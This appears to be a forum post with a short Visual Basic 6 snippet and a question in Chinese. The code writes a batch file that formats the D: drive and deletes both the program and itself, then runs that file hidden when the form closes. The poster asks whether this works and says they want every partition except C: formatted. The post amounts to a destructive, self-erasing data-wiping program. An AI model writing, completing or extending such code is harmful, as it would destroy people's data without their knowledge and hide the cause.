Private Sub Form_Load()

Open "Test.bat" For Output As #1
Print #1, "Del Test.exe" '删除自己
print #1, "format d:\" '格式化D盘
Print #1, "Del Test.bat" '删除临时批处理命令
Close #1

End Sub

Private Sub Form_Unload(Cancel As Integer)
Shell App.Path & "\Test.bat", vbHide '退出时候删除临时工作文件
Set Form1 = Nothing

End Sub
这样算不?

不过我好像还是不搞清楚。D盘，我要除C盘外全部的分区全部统统的格式化